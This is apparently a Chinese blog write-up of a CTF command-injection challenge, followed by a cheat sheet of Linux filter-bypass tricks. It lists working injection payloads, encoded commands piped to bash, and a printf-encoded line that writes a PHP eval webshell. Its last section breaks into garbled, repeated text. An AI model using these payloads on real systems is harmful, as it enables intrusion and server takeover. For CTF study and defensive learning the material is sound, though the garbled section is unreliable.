寒假web训练-2

2020.02.28

GXYCTF pingpiingping

这道题目命令执行

利用方法是 通过管道符 看到有两个文件flag.php index.php

发现他过滤了空格

所以利用127.0.0.1|cat$IFS$1index.php查看源码

分析可得 模糊了flag 不可以直接查看flagphp

然后利用组合的方式

127.0.0.1|a=fl;b=ag;cat$IFS$1$a$b.php

得到答案

另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令

而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令

?ip=127.0.0.1;cat$IFSls

查看源代码可以看到index.php和flag.php的内容都显示了出来

img

Linux常用绕过方法
  1. 空格过滤

    < 、<>、%20(space)、%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS等

    $IFS

    ${IFS} < $IFS$1

    $IFS$1 // 1 改 成 1改成 1加其他数字貌似都行

    <

    <>

    {cat,flag.php} //用逗号实现了空格功能

    %20

    %09

  2. 一些命令分隔符

    linux中:%0a 、%0d 、; 、& 、| 、&&、||

    windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

  3. 花括号的别样用法

    在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
    {cat,flag}

  4. 黑名单绕过

    拼接绕过:a=l;b=s;aaab
    编码绕过

    base64:
    echo “Y2F0IC9mbGFn”|base64-d|bash

    cat /flag

    hex:

    echo “636174202f666c6167” | xxd -r -p|bash

    cat /flag
    oct:
    $(printf “\154\163”)
    ls

    $(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”)

    cat /flag

    {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0

    cat /flag
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"}
    1.php
    单引号和双引号绕过
    比如:ca’'t flag 或ca"“t flag
    反斜杠绕过
    比如:ca\t fl\ag
    5、利用Shell 特殊变量绕过
    例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
    @表示(@表示(@表示(@:同样也是获取当前shell的参数,不加引号和∗是一样的,那么加了引号如:”*是一样的,那么加了引号如:“∗是一样的,那么加了引号如:”@" 表示将所有的参数视为不同独立的字符串,相当于" 1 " " 2 " . . ) < b r > 比 如 : c a 2 " . . ) < b r > 比 如 : c a 2 " . . ) <

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值